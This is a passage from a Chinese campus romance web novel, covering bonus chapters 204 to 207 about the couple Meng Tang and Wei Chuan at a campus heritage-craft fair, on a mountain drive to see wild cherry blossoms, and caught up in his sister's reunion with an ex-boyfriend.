之后,他一句话也没说,就看郑霆晖在那儿尬聊。 好不容易吃完了这顿晚饭,本该各回各家,各找各妈。 但郑霆晖不甘心,邀请魏思沅换场玩。 赵疏白阻止了声,说自己有事找魏思沅,魏思沅表情为难。 别人不知道,魏川还不知道她吗?犹豫就代表心动。 他瞥了魏思沅一眼:“跟我回去。” “啊?”魏思沅指了指自己,“你在跟我说话?” “不是你是鬼吗?”魏川生怕她又跟赵疏白走了,扯了下她的胳膊,“啊什么啊?赶紧的,你跟孟棠坐后面。” 赵疏白在餐厅门口,眼睁睁看着魏思沅上了魏川的车。 总比上郑霆晖的车好。 “不是,你真要带我回去?”魏思沅拍了下座椅,问前头的魏川,“这样不就打扰你俩二人世界了?” 魏川翻了个白眼,问她:“除了赵疏白,你那些男朋友都怎么回事?” 魏思沅心虚地靠向椅背,明显不愿意搭理魏川了。 魏川算是明白了,什么男朋友,都他妈是障眼法,用来刺激人的。 “恋爱猪脑。”他回头狠狠吐槽了一句,“两年多了还念念不忘。” “你说谁呢?”魏思沅恼羞成怒,“你才恋爱猪脑,你全家都是恋爱猪脑。” 魏川:“……” “呃……”孟棠伸出去安抚的手僵在半空,怎么骂人把自己都骂进去了。 “猪!”魏川加快速度,进了康铂的地下车库。 他们本就在附近找的篮球场,开车五分钟的时间。 上楼后,魏川将魏思沅堵在客厅,问她和赵疏白到底是怎么一回事。 魏思沅摊了摊手:“就那么一回事,青春期在一起的,好多年呢,性格不合又分开呗。” “然后最近有复合的苗头是吧?”魏川简直无语,“听没听过好马不吃回头草?” “你关心我感情干什么?”魏思沅轻嗤,“到底谁是姐啊?” “因为我感情不需要别人来关心,我跟孟棠好得很。”魏川吐槽了句,“今晚你睡客卧。” “别啊,你把孟棠借我一晚。”魏思沅无赖道。 魏川当即起身,将孟棠拉回了房间。 “把她一个人放外面没事吗?”孟棠忍不住回头。 “没事,她要真想去见,我也拦不住,估计还在纠结。”魏川指了指浴室,“洗澡去吧。” 孟棠下意识捂住胸口:“别来了吧?我吃不消。” 魏川失笑,什么可怜模样。 “不来了。”他揉了揉孟棠的头发:“明天开学了,今晚让你好好休息。” 昨晚折腾了一夜,下午又出去打球,孟棠确实困倦了,她去浴室洗了澡,趁魏川去洗澡时,去客厅找了魏思沅。 魏思沅抱着薯片,笑道:“抱歉啊,吃了你的零食。” 孟棠笑道:“都是魏川买的,其实我不怎么爱吃。” “坐下来聊聊。”魏思沅拍了拍身边的沙发,“我快要闷死了。” 孟棠了然道:“我跟你说说赵疏白在雁清的事?” 魏思沅口是心非:“谁让你说这个了。” “那你就当我是自愿跟你说的吧。”孟棠说,“你就随便听听。” 魏思沅嚼薯片的动作慢了下来。 孟棠从赵疏白到雁清讲到他离开,连魏川什么时候出现的都没发现。 他也静静站着听了许久,确定了赵疏白是去调理情伤的。 挺好,总不能让魏思沅一个人难受。 眼见着孟棠越说越困倦,魏川给了魏思沅一个差不多的眼神。 魏思沅终于回过神,推了下孟棠:“睡觉去吧,你家大型犬要咬人了。” 孟棠还没反应过来,被魏川一把抄住腿弯抱了起来。 “你干嘛?沅沅姐还在。”孟棠又惊又羞, “睡觉了。”魏川没放,直接将人抱进卧室,压到床上,掀了被子,“我现在不抱着你睡觉很难熬。” 在学校训练还好,精力全都在白天消耗了,回到寝室倒头就睡,第二天又是忙碌的一天。 闲下来离开孟棠就不行,从心理到身体都不行。 第204章 番外20:带我们一个吧 开学后,孟棠和魏川都忙了起来,cubal的分区赛马上就要打,魏川忙得没有一丝空隙。 好在孟棠也不是等在他身后的小女生。 除了专业课和木雕课,院里又交给了她一个非遗手工艺的特色活动。 孟棠本来不想接,但架不住老师的强势。 说她作为黄杨木雕的传人,更应该以身作则,传承工艺。 明明很多其他同学都能做的,孟棠最后还是跟谭曦一起去了。 校内就有非遗的工作坊,他们来参加的人要雕刻一些东西,比如书签、校徽什么的,最后拿到艺术市集上摆摊。 这个活动的周期还是蛮长的,以孟棠和谭曦为首,大家围在一起做了个活动的方案策划。 活动确认后,还要经历最重要的设计的环节,设计好了,要采购、打胚,一个核心雕刻期都要两三周。 孟棠算了算,时间也挺凑巧,艺术市集大概在魏川比赛结束后开设。 日子不紧不慢往后走,孟棠和魏川已经十来天没联系了。 但共享相册里,每天都有一张他训练的照片。 即便加了滤镜,孟棠也能看出他眉眼间的疲累和汗湿的球衣。 孟棠什么安慰话也没有,将自己每天做的事拼了个图发了上去,再配两句今天做了什么的话,魏川又跟打了鸡血似的。 给她留言的评论都是“亲亲”。 靠着共享相册里的小秘密,对于热恋期的他们来说,倒也不算难熬。 孟棠再一次和谭曦进了非遗活动的工作坊里,不少人已经到了。 孟棠看到有个女生在雕刻写着“摆烂”的框画摆件笑了笑,还是大学生了解大学生啊。 谭曦抵了抵她:“你今天雕什么?” 孟棠拿出一张纸,纸上跃然一现各种各样的小玩意: 鹦鹉、吉他、花生、蜻蜓、盆栽、葫芦…… “这个花生画得好可爱。”谭曦笑道。 孟棠坐下,从一旁拿出刻刀,说:“来吧,这么多,不知道要做到哪天。” 有人拿了手机连接音箱放了静心的小调,一群人埋头苦干一整天,手是酸的,腰是疼的,但心里是满足的。 孟棠回到寝室后,用最快的速度洗了澡。 谢泠音的床位和她挨着,见她用护手霜一遍一遍抹着手,凑过去瞧了一眼。 “你这手……怎么都破了?破了还用护手霜涂?疯了?” “没破,看着红而已。”孟棠说,“就是一些压痕和擦伤,今天雕刻的量有些过了。” 小物件非常费手,皮肤没被磨烂都算好的了。 “还要雕多少天?”谢泠音问。 “快了。”孟棠不想让她担心。 “马上魏川就要比赛了,你有时间看吗?” “前面确实没什么时间,等他决赛的吧,不知道今年名次怎么样。” “怎么突然担心了这个了?”谢泠音笑了声,“你以前对他不是很信任?” 孟棠说:“我光信任也没用啊,他们今年不是走了一个老将嘛,新人进队要磨合的。” 谢泠音:“这事许鹤清好像也和我说了,没事的,男篮队的教练一向会磨人。” “但愿吧。”孟棠起身,“我先去睡了。” “去吧。” 孟棠爬上了床,刚要闭眼,想起今天的共享相册还没翻。 她摸到手机,打开了相册,已经有了张最新的照片。 是一张魏川的自拍照,文案只有“想你”两个字。 孟棠在下面评论了一句“晚安”。 魏川的队伍经历了一轮新老交替的磨合,赛程一开始,缺点全都暴露无遗。 平日训练和真正上场打又是不一样的感觉,在赛场上的表现有些不太稳定。 相较于之前配合默契的队伍,这次明显有了波动。 但贺教练会稳定人心,魏川又是战队主心骨,这两人情绪稳定,技术过硬,在中期比赛时,硬生生拉着新人一夜成长。 分区赛比赛密集,几场打下来都是大强度,撑下来的都是有实力的。 经过小组赛、淘汰赛两大轮的厮杀,魏川依旧稳定发挥,带着z大男篮拿下了最终的胜利。 相比去年,今年赢得稍显吃力。 不过值得庆祝和鼓励,孟棠知道了结果后,和负责非遗校园活动的对接人进行了最后一次细节上的交接。 艺术集市开在学校的中心广场,是学校里连接教学楼、图书馆的核心区域,人流量很大,不过距离体院有些远。 校园官方平台、行政系统都对学生进行了通知这项活动。 辅导员也在各个群里发了具体的活动细节。 三月的最后一天,非遗手工艺校园活动热热闹闹地开始了。 又是周五,学生们冲出教学楼后没几分钟,将中心广场彻底占领。 孟棠和谭曦守着自己的小摊子,看对面在吆喝都惊呆了。 孟棠抵了下谭曦:“还要吆喝吗?不是等着别人来买就行?” 谭曦耸了耸肩:“目前就我俩这个摊子无人问津。” 孟棠:“……” 她喊不出来。 谭曦叹气:“那……卖不掉怎么办?这些可是我俩辛辛苦苦雕刻的,手都磨烂了。” “我还是相信我的手艺的。”孟棠说,“等一会儿吧。” “行吧。” 两人等了一会儿,还是无人问津,谭曦直接站了起来,看看这个摊,再看看自己的摊,总觉得哪里不太对劲。 孟棠跟过去看了眼,明白了,别人的摊位装饰得十分用心,她俩光秃秃地拿了纸壳,直接写了十元一个,毫无美感。 将想法和谭曦说了后,谭曦也没招了:“咱俩不是想着质量取胜嘛,现在去哪儿找材料装饰把这小破摊盘活?” 两个对于自己手艺高度自信的人败在了装修上。 孟棠手机响了声,共享相册里上传了一张照片,是魏川在大巴里拍的,文案是:回程路上。 孟棠勾起嘴角,盯着看了好久。 “看什么呢?”谭曦凑了过去,“呦,为校出征的人回来了。” 孟棠收起手机,掩饰自己的兴奋和娇羞,拉着谭曦回了摊位。 谭曦抵了抵她:“哎,你让你男朋友来一趟呗。” 孟棠看向她:“为什么让他来?” 这几天比赛,魏川肯定累了,孟棠虽然想他,但也不想破坏他的休息节奏,之后全国赛,训练程度只会更大。 “你傻啊,”谭曦说,“他一来,你这些东西,两分钟就卖出去了。” “算——” 手机铃声阻止了孟棠的拒绝,魏川打来了电话。 孟棠当即接了,拿着摊子上雕刻的小鸟,一下一下啄着桌面。 “我到学校了,你人在哪儿?” 孟棠说:“我当然也在学校,怎么样啊,累不累?” “还好。”魏川说,“比完赛休息了的,你今天下午没课吧,之前不是答应带你去翠云山公路看野樱花的吗?时间正好,这两天已经开得旺了,我约了秦渊一起,明天是周六,顺道把这事办了。” 孟棠失笑:“怎么跟赶流程似的。” “没办法啊。”魏川哼了声,“就明后两天有时间,算是赢了比赛的福利吧。” 孟棠应了声:“行吧。” 魏川没听清,提高音量问:“你在外面吗?手机里怎么那么吵?” “在外面,有个活动。”孟棠没有直说,“你现在是回寝室吗?” “我回寝室干什么?”魏川说,“我来接你下课去家里,我车在家呢。” “去别墅啊?”孟棠一愣,“晚上也住那儿吗?” 魏川说:“看你呗,乐意住你就住,不乐意我就带你去康铂。” 魏川说过翠云山公路的事后,孟棠其实查过路线,从魏家的别墅过去绝对是合理又近的路线,从康铂就有点绕路了。 只思考了五秒,孟棠就一口答应了:“行,就去别墅吧。” 她还怕他晚上折腾她呢,去别墅的话,他应该不敢乱来,楚茵肯定也是准备两个房间。 大巴在校门口停下,魏川他们一群人进了校门,途经中心广场时吓了一跳,怎么那么多人。 田聿指着最大的装饰大门上的牌子一字一句:“非遗手工校园活动艺术市集。” 魏川脚步一顿,顺着视线看了过去。 非遗活动?他眼眸一转,继续问手机里的孟棠:“你在中心广场?” 孟棠一愣:“你怎么知道?” “我路过。”魏川轻笑了声,“行,挂了吧,我去找你。” “别,人太多了。”孟棠赶紧阻止,“你知不知道自己的名气啊?想要引起‘交通瘫痪’吗?” “我戴着帽子呢,再说了,我整天在学校也不见有人堵我,我一个人过去,悄悄的,放心。” 魏川挂了电话,刚要走,被田聿和邵一鸣一左一右按住了肩膀:“要去哪儿啊?” 魏川指了指前头:“孟棠在那儿摆摊呢,我去看看。” 田聿和邵一鸣相视一笑:“带我们一个吧。” 队里其他人也凑上来:“川哥,带我们一个呗。” “都滚蛋。”魏川笑骂了一句,“你们女朋友也在那儿啊?” “说不定哦。”邵一鸣调侃了一句,“美院美女那么多,带我们一个怎么了?” “爱去就去,真服了。”魏川甩开他俩,径自往中心广场走过去。 第205章 番外21:卖了赶紧跟我回家 平均身高190的z大男篮队在中心广场出现的那一刻,四周的人潮突然暂停了一瞬。 一瞬之后,人群爆发出激烈的欢呼。 孟棠吓了一跳,勾着脖颈去看,她是坐着的,只能看到无数条行走的腿。 谭曦拉了下她:“不会是魏川来了吧?刚才那声音很像啊。” “应该来了。”孟棠说,“市集的装饰大门到我们这边有点距离。” 静静等了一会儿,魏川在人声鼎沸里来到了孟棠的摊位。 摊位不大,他蹲了下去,直视孟棠的眼睛,笑着问:“东西怎么卖啊?” 许久没见,视线一接触,小别后尴尬和害羞的情绪全都冒了上来。 孟棠指了指纸壳,语气藏不住羞赧:“自己看。” 魏川刚要拿,孟棠拍了下他的手:“这是卖的,你别捣乱。” “我买还不行吗?”魏川拿出手机,“我全买了,卖了赶紧跟我回家。” 他这一句话,惹得周遭一阵起哄。 “别捣乱了。”孟棠拨开他的手,“我给你雕刻了一个小奖杯,这些留给别人买。” 魏川朝她伸手:“小奖杯呢?” 孟棠从口袋里将10公分的奖杯给他:“拿着玩去吧。” 哄孩子一样的口气。 “这还差不多。”魏川圆满了,得意了,朝田聿他们晃了晃,炫耀了一番。 田聿实在不甘心,也蹲下去,可怜兮兮地看着孟棠:“我们没有吗?他一个人也赢不了比赛啊。” “有。”孟棠笑了声,转而对谭曦说,“把东西给他们吧。” 魏川眼睁睁看着谭曦拿了一袋子的奖杯出来,跟他这个一模一样。 谭曦将袋子递给田聿:“自己分去吧。” 田聿圆满了,得意了,朝魏川晃了晃,炫耀了一番。 魏川扬起手吓唬他,田聿躲了下,就地将木雕小奖杯瓜分给了队友。 魏川微微歪着头,眼睛里全是对孟棠的质问:“每个人都有?” 孟棠干笑一声:“……你一个人也确实赢不了比赛,我就给队里每个人都准备了,包括替补队员。” 所以才会有那么一大包。 魏川:“……” “别吃干醋了。”谭曦嘲笑了声,“你想带孟棠走,赶紧帮她把这些东西卖出去。” 魏川指了指田聿他们:“这不是现成的人手嘛,拿了东西就得干活。” 田聿指了指自己:“我吗?你看我这五大三粗的,有人来吗?” “有,学长,买了可以合照吗?” 田聿指着魏川:“找他合照,这是他女朋友的摊。” 旁边跟着一道过来的女生开心地踮起脚:“学长,可以吗?把学姐也叫上一起合影。” 加上孟棠的话,魏川是没意见的,他直接同意了。 之后人群疯了似的,不到十分钟,摊子上和一点小小的库存全都卖完了。 提前完成任务,谭曦乐呵了好几声。 孟棠就有点苦逼了,陪着魏川合了一张又一张的影。 本来以为能走了,活动的摄影师又将篮球队拦了下来。 男篮比完赛直接参加非遗校园活动,是很好宣传的板块,更何况,还有魏川和孟棠这对不论在学校还是网上,谈论度都很高的情侣。 不管了,先拍了再说,后续宣传自有人管。 拍完后,摄影师和魏川加了微信,后续会将一些情侣氛围感的照片传给他。 魏川转头对谭曦说:“这里就麻烦你了,孟棠我先带走了,我家里的车过来了。” “去吧去吧。”谭曦挥了挥手。 楚茵得知他俩要回来,直接派了司机过来接。 魏川好不容易比赛结束,她不想他还自己开车,怪累人的。 孟棠和魏川到正门口时,车已经等着了。 孟棠认识这个司机,跟着魏川叫了声“严叔”。 严叔应了声,给他俩开了车门。 上车后,魏川问:“严叔,我爸回来没?” “没呢,估计还得待两天。” 孟棠看向魏川:“叔叔不在家?” 魏川说:“和大姐出差去了,不过魏思沅在家,不会无聊的。” 谁担心无聊的问题了?给她一本书,她能坐一天。 去到魏家别墅时,最后一抹夕阳被天空吞噬,赶上了晚饭时间。 孟棠刚踏进客厅,一眼看到了坐在沙发上的赵疏白。 魏川显然也看到了,惊讶地挑了下眉:“你怎么在这儿?” 楚茵“啧”了声:“怎么说话的。” 赵疏白在楚茵面前温和有礼,对魏川笑了笑:“来看看伯母。” 魏川轻嗤了声,转头瞪了眼在一旁心虚到一句话不说的魏思沅。 用脚趾头想都知道是为了魏思沅来的,这两人还真想复合。 关键的是楚茵竟然让赵疏白上门了。 楚茵让孟棠和魏川在客厅坐,自己去了厨房。 魏川拍了拍孟棠的手:“坐会儿,我有点事问我妈。” 孟棠点了点头。 厨房里,楚茵在监工,见到魏川,惊讶了一瞬:“你来这里干什么?” “您先出来吧,我问点事。” 楚茵从厨房出来,抬头问:“什么事啊?” “魏思沅之前谈了好几年的男朋友是赵疏白?” “对啊。” “你们真是可以啊,一直瞒着我。” 楚茵:“……你那会儿不过一个高中生,告诉你能顶什么用?再说了,她也没告诉我们呐,是我们自己看出来的。” 魏川:“……” 所以就他一个人没看出来。 “行,换个话题,赵疏白今天上门又是什么意思?”魏川实在不爽,“想复合了?献殷勤来了?” 楚茵:“……我看见人家都尴尬,就你三姐当年干的那些事,我都无语。” 魏川一愣:“这里面还有事啊?” 楚茵呵笑一声:“简单来说,就是你三姐跟人家谈恋爱心不诚,打赌玩玩的,后来被小白知道了,两人就分了。” “不是。”魏川理解不了他妈妈的脑回路,“跟他玩玩还跟他谈那么多年?赵疏白是傻子啊?他以为他俩演电视剧呢?能不能用点脑子?” 楚茵:“你爸和你姐也这样说过,所以这里面肯定还有一些误会,你别管了,这感情的事,你也没法插手。” 魏川哼了声:“当初我和孟棠,您不是插手了?” 楚茵的心梗了下,开始撵人:“去去去,吃饭了。” 魏川去客厅喊了声,径自走到孟棠面前伸出了手。 孟棠牵上去,和他一起进了餐厅。 今晚赵疏白留下来吃饭,席面看似简单,实则很有讲究。 其他人不在,楚茵作为长辈,一直没什么架子地边吃边聊,真要食不言,恐怕也怪尴尬的。 她问魏川:“今晚还走吗?” 魏川摇了摇头:“和秦渊约了去翠云山的盘山公路。明天带孟棠去兜兜风,这段时间忙着比赛,我俩好久没见了。” “不早说。”楚茵白了他一眼,赶紧叫了阿姨,“给孟棠收拾一间房出来。” “知道了,太太。”阿姨赶紧领命。 魏川张了张嘴,想说孟棠和他一起,但转念一想,又作罢了。 魏思沅弱弱地举起手:“我也去,可以吗?” “行,自己开车。”魏川说,“出去散散心也好,你都多久没拍戏了。” 魏思沅叹了声气:“我虽然只能演配角,但配角也得有点人格吧,现在的剧本太阴间了,难怪没什么好剧,与其这样,还不如不拍。” 赵疏白说:“那就不拍。” 魏思沅扯了下嘴角,看不出来高兴还是不高兴。 孟棠和赵疏白话不多,大多数都是魏川和魏思沅在聊。 楚茵看看孟棠又看看赵疏白,觉得这两人有点像。 性格安静沉稳,不骄不躁,再看自家两个又吵起来的幼稚鬼,还真得找个情绪稳定的。 一动一静的互补是最好的,单看魏川和孟棠的感情,赵疏白其实很适合魏思沅。 饭后没多久,赵疏白就提出告辞,楚茵让魏思沅去送了送。 这一送,一个小时都没回来。 魏川拉着孟棠上了楼,径自去了自己的房间。 “阿姨给我准备了房间。”孟棠吓了一跳,“我不能和你一起睡。” “谁让你跟我一起睡了。”魏川失笑,“这才几点,待会儿再回房间。” 孟棠在落地窗前的陀螺椅上坐下转了两圈。 魏川走过去,将她掐腰抱起来:“玩椅子挺积极的,怎么不来玩玩我?” 简直口出惊人,孟棠张了张嘴,哑了一瞬,这要怎么玩? 魏川见她呆愣的模样,俯身亲了口,笑道:“今晚跟我睡?” 孟棠:“……我有房间。” “那我跟你睡。”魏川耍无赖,“我也不挑,抱着就行,保证不乱来。” 孟棠:“……那阿姨给我们分房的意义在哪儿?” “那我偷偷过去。”魏川坚持为自己谋福利。 “别闹。”孟棠被他逗笑,“你要是敢过来,我就敢不理你。” 毕竟还在他的家里,矜持点总没错。 要是被看见第二天早上魏川从她的房间出去的,脸也不用要了。 魏川叹了声气:“行吧。” “好好休息吧。”孟棠摸了下他的脸,“我去洗澡了。” 给孟棠铺床的阿姨正好上楼,见她从魏川房间出来,笑了笑,告诉她房间已经收拾妥当,让她去看看满不满意。 孟棠哪里会不满意,她和阿姨道了声谢,去了浴室洗澡。 明早要早点出门,自然也要早睡。 刚换了睡衣躺下,房门被敲响了。 声音又轻又有节奏,很有礼貌,孟棠以为是阿姨,没什么心眼地开了门。 第206章 番外22:我俩只适合演情侣 门开了,孟棠还没看清人,腰间被猛地一勒。 她惊呼一声,身体一转就被顶上了门板,所有的惊愕全都被一个急切缠绵的吻堵了回去。 熟悉的气息席卷口腔,她被迫绷着脖颈。 魏川见她乖乖地任由欺负,心里一软松开了她,用鼻尖蹭了下她的鼻尖:“洗过澡了?” 孟棠抿了抿唇:“嗯。” 魏川轻笑一声,揽着她就要走:“我也洗过了,走,睡觉去。” 孟棠瞪着眼睛:“谁跟你睡觉,赶紧回自己的房间。” 说着,她还看了眼门边,生怕楚茵这时候上来。 “别看了,我妈不会轻易上来,”魏川搂着她,半推半就将她弄到了床边,“你睡着之后,我绝对回自己房间睡。” 男人的承诺什么也不是,孟棠是知道。 可她承受不住他的重量,一个趔趄倒在了床上。 魏川坏笑一声,拉起被子给两人盖上,然后肆无忌惮地亲她。 亲吻会上瘾,亲到情浓会像酒精一样使人迷离,孟棠手脚都软了,唇瓣红肿着,看得人更是想入非非。 再亲下去要出事,魏川凭着惊人的意志力松开了她,揽着她的后背拍了拍:“睡吧。” 他确实只想抱抱她,尤其是在经历了一场高强度的比赛之后。 被亲懵的孟棠下意识听了指令,闭上了眼睛。 魏川的胸膛宽厚又温暖,孟棠这段时间为非遗的校园活动忙前忙后,今天终于结束,也算卸下了一个担子。 她入睡本来也快,没一会儿,呼吸渐渐平稳。 “真能折磨人。”魏川在她眉心落下一吻,起身出了她的房间。 轻手轻脚关上了门,一转身差点被魏思沅吓得魂飞魄散。 魏川生怕吵醒孟棠,又把那句“卧槽”硬生生忍住了。 “我就知道你又狗狗祟祟。”魏思沅吐槽了句。 “怎么有脸说我的。”魏川不服,“送前男友送了一个多小时,舔狗!” 魏思沅一把捏住魏川的脸,狠狠拽了下:“你才是舔狗!” 魏川捂着脸“操”了声:“咱谁也别说谁,你跟赵疏白到底怎么回事?” 魏思沅清了清嗓子:“你对他客气点。” 魏川眼珠一转,说:“除非你告诉我怎么回事,我就对他客气点。” “是我的错。”魏思沅眼眸晦暗了一瞬间,“你就别问了。” 魏川和魏思沅没差几岁,两人从小就是针尖对麦芒,但他也很了解魏思沅。 她这表情…… “你不会出轨了吧?”魏川试探性地问了句。 魏思沅:“滚。” 魏川松了口气:“不是原则性错误,那就解开误会啊,搞不懂你们,睡觉去了。” 魏思沅跟过去,说:“明天赵疏白也去。” “去就去呗,翠云山公路又不是我家的,我还能拦着他了?” 翌日清早,不到五点,魏川就将孟棠和魏思沅叫醒了。 去餐厅吃了早饭后,三个人去了车库。 魏思沅的手机响了起来,是赵疏白打来的,他已经到了。 十分钟后,一黑一红的超跑出了别墅大门口。 赵疏白和魏川、孟棠打了招呼,上了魏思沅的副驾。 孟棠第一次坐这样的车,身体几乎陷入了碳纤维的包裹中。 一切收窄在小小的车厢里,油门踩下的一瞬间,一股无形的力量将她按在座椅里,严丝合缝。 沿途的街景变成了模糊的色块,窗外的风好似都被撕裂成了无数片。 孟棠的视线落在魏川那双骨节分明,掌控方向盘的手上。 开车都这么有感觉,她也是服了! 秦渊的车在第三个路口和他们汇了合,他的副驾还带着摄影师。 到公路山脚,引擎声持续低鸣,所有人的速度慢了下来。 敞篷车顶缓缓升起,天光乍破似的,光线和风景无声地开幕。 脱离了城市里方块般的建筑,眼前绿的粉的构成了一幅流动的画卷。 孟棠拿出手机,视频刚录的一瞬间,超跑越过了一道弯,视线豁然开朗。 她没忍住“哇”了声,重重叠叠的野樱花怒放山间崖壁,几乎淹没了眼睛。 他们来得早,这会儿没什么人。 孟棠将摄像头翻转,给自己和魏川也录了一段。 这段路上去的时候不能停,只有山顶才设有停车和观景的地方。 到达山顶,他们花了一个半小时的时间。 山顶有观景台,孟棠趴在栏杆上,觉得一切有些虚幻。 明明两个小时之前,她还睡在别墅的大床上,这会儿竟然已经置身山野。 有风有云,有树有花,简直难得。 其实z大也很漂亮,但视线受限,没有眼前景色的壮阔波澜。 她狠狠吸了一口新鲜空气,由衷地满足。 魏川将孟棠笼罩在怀中,亲昵地在她耳边问:“好看吗?” “好看。”孟棠的开心由内而外地散发,“早晨过来,真的清爽宜人,跟晚上应该不太一样。” “也有人下午上来看日落的。” 秦渊走过来,笑着问:“怎么样?景色还可以吧?” 孟棠“嗯”了声,余光瞥了眼魏思沅和赵疏白。 这两人站得远,好像在聊天,脸上完全没有对美景的欣赏。 秦渊拍了拍魏川的肩膀:“看什么,你俩转过来,让小乔给你俩拍照,好不容易上来一趟。” 魏川转过身体,整个人慵懒地靠在栏杆上,转头看孟棠的一瞬间,被摄影师小乔拍了下来。 “你俩这颜值,这氛围,很出片啊。” 魏川笑了笑:“谢了。” 秦渊自己有做账号,有专门的一个拍摄剪辑团队,他也不缺钱,自然也不在网上挣钱。 他爱拍车,就乐意在网上分享,粉丝也挺多。 两人拍了十来分钟就没什么兴趣了,不巧,魏川的手机响了声。 他拿出来一看,轻笑了声。 孟棠凑过去问:“笑什么?” 魏川将手机给她看:“这边拍着呢,昨天中心广场的图已经出来了。” 孟棠扒着他的手看了看,说:“图修得挺好的,很自然。” 很有青春校园的氛围感。 秦渊开了句玩笑:“你俩可以直接打包进组拍戏了。” 魏川轻笑一声:“我俩只适合演情侣。” 秦渊做了个“呕”的动作。 待了两个小时,确实没什么好逛的了,魏川才提议回家。 魏思沅回眸,对魏川说:“你们先回吧,我还有点事。” 她不回,赵疏白自然也不回。 这两人怕不是要在这里谈情说爱,孟棠抵了抵魏川:“走吧。” 魏川想说的话堵在喉咙,算了,魏思沅比他还大,应该能自己处理。 往车边去的途中,秦渊八卦地抵了下魏川:“沅沅姐跟小白哥什么情况?” 魏川一听,乐了,这边还有个傻子呢。 他清了清嗓子,说:“你小白哥是你沅沅姐的初恋,就是骗了她的爱,骗了她的眼泪一个月的初恋。” “卧槽!”秦渊惊掉了下巴,“你别在懵我吧?他俩不是单纯的青梅竹马吗?” 魏川吐槽了句:“兔子不吃窝边草,你小白哥不讲究呗。” 孟棠:“……” 嘴是真毒。 “什么我的小白哥。”秦渊怼了回去,“明明以后是你的三姐夫。” 魏川:“……” 虽然很不想承认,但是事实。 魏思沅又让他输了一局,恋爱脑要不得,舔狗更做不得。 上了车,秦渊率先离开,魏川系上了安全带,问孟棠:“咱们还回去吗?” “回。”孟棠说,“把车送回去,这车高调了。” 行吧,魏川启动引擎下了山。 回去的时候又赶上饭点,楚茵都愣了:“我还以为你们今天一整天都在外面玩?你三姐呢?” “没回。”魏川说,“估计在跟赵疏白谈恋爱呢。” 楚茵眼眸一亮:“真的假的?这么快就复合了?” 魏川看向楚茵:“您很高兴啊?别忘了当初让魏思沅哭的人是谁。” “过去的事不重要,我就是觉得小白这个人很适合你三姐。”楚茵笑了声,“就像孟棠很适合你一样。” 魏川反驳的话又咽了回去,拿他和孟棠举例子,真是拿对了。 “妈,饭做好了吗?饿了。” 楚茵摇了摇头,叫了厨房开餐。 吃过饭,魏川暗戳戳叫了严叔送他和孟棠去了康铂。 从进门到日落,他将孟棠堵在卧室没出来过,晚饭都是在房间里吃的。 晚上还要来时,被孟棠一脚踹下了床:“滚出去。” 孟棠气虚不竭,连瞪人的力气都没有。 第一次说脏话,惹得魏川一愣,随后开始心虚,这次可能是真的太过分了。 他蹲在床边,有点委屈地看着孟棠:“不能一起睡吗?” “不能。”孟棠无情地拒绝,“去客卧睡。” “不想。”魏川抵着孟棠的肩膀无奈地蹭来蹭去。 孟棠真心累了,一言不发地看着他。 魏川一下气短了:“生气了?” “是你太过分。”孟棠淡淡地瞥了他一眼,“我说多少次不要了,你非说什么我口是心非,不要就是要的意思,你霸总看多了?” 魏川:“……” 孟棠:“赶紧去睡觉,不然别想我理你。” “好吧。”魏川极为不情愿地应了声,在她唇角亲了下,“那我去睡了,宝宝晚安。” “嗯。” 魏川唉声叹气地回了清冷寂寥的房间。 翻来覆去到半夜才睡着,翌日睡到自然醒才发现,好嘛,孟棠不见了。 第207章 番外23:他都多久没见到人了 魏川看着空空如也的房子,整个人懵了好几圈。 回神之后,他去卧室拿了手机,孟棠那边响了好几声才接通。 “你人呢?”魏川问,语气带着一点讨好和小心翼翼地试探。 也不跟他打招呼就跑了,看来气得不轻。 孟棠说:“回学校了。” 魏川真的气笑了,但也不忘关心:“有没有吃早饭?” 孟棠的心也不是石头做的,听见他的关心,态度也软了下:“刚到学校食堂打了饭。” “……还能赶得上学校的饭,到底几点起的?”魏川问。 孟棠说:“自然醒的。” 魏川清了清嗓子:“今天有事?” 孟棠回:“有,但是不想去木雕工作室了,没什么劲做活,打算回去把床单被套拆了洗一洗。” 其余时间就在寝室里消磨。 “行,那你好好休息。”魏川说,“我待会儿也回学校,全国赛快开始了,还要训练。” 今天本来也没打算留在康铂,但昨晚急着办事没跟孟棠明说,这才导致她一大清早的跑路了。 想明白关窍,魏川真是哭笑不得。 孟棠应了声:“好,我先吃饭了,挂了。” 每次挂电话,魏川都是让孟棠先挂。 孟棠挂了电话后,刚拿起筷子,又放下了,她拿出手机,对着餐桌拍了一张照片传到了共享相册。 魏川看见,评论:乖,好好吃饭。 孟棠笑了笑,慢条斯理吃完了早餐,回了寝室。 石岚看到孟棠,抬手搂了下:“我靠,你可终于回来了,感觉好久没见你了。” 杨可说:“她在忙非遗的校园活动,天天早出晚归的,你看见才怪了。” “之后魏川又结束比赛,人家小情侣不得腻歪腻歪啊?” “也是,这狗粮咱是吃不到了?” “泠音不在?”生怕她俩八卦,孟棠歪了歪头,谢泠音的座位是空的。 “去自习室了。”石岚说,“你怎么这个时候回来了?” 孟棠说:“天气不错,回来把床单被套洗一下,你们要一起吗?” 石岚:“我和杨可前两天刚洗过。” “那我去洗了。”孟棠爬到床上,将床单扯了下来。 送到洗衣房之后,她又拿了一套新的铺上。 在顶楼的床单都不用收,因为今晚铁定不会干。 孟棠昨晚睡得太迟,她和石岚说了声,上床补觉去了。 石岚嘀咕了句:“昨晚干什么了?” 杨可抵了抵她。 石岚转头:“抵**什么?” 杨可:“……” 孟棠其实听到了,但她装了傻。 一觉睡到下午两点多,起来时,寝室已经没人了。 孟棠饥肠辘辘地下了床,算她走运,谢泠音带着一堆吃的回来了。 孟棠坐在椅子上,目光有些呆滞,见谢泠音拎着吃的,撒了一声娇:“救命啊,好饿。” “你现在可以啊,还会撒娇了。”谢泠音将其中一份米线递过去:“给,你家的让我带给你的。” “我家的?”孟棠一时没有反应过来。 “魏川。”谢泠音把一次性筷子的塑料膜去掉,“路上碰到了,他给买的。” 孟棠接过筷子,道了声谢。 竟然还知道她没吃饭,真是神了,孟棠轻笑一声,给魏川打了个电话。 刚接通,她又挂了,改成了视频。 接通后,魏川突然怼脸过来:“吃上了?” 孟棠点了点头,看着他,挑了一口米线送进嘴里。 下一秒,孟棠痛苦地皱紧五官,将米线原路吐了回去。 孟棠消失在镜头前的那一秒,魏川就开始鬼吼鬼叫:“孟棠?是不是被烫到了?” 谢泠音拿过手机,说:“应该是烫到了,她去卫生间了,你等等,我去看看。” 魏川蹭一下站起来,大步出了寝室的门。 孟棠用冷水冲了十来分钟,才觉得有点活过来。 刚坐下要继续吃,手机里的魏川已经到了楼下。 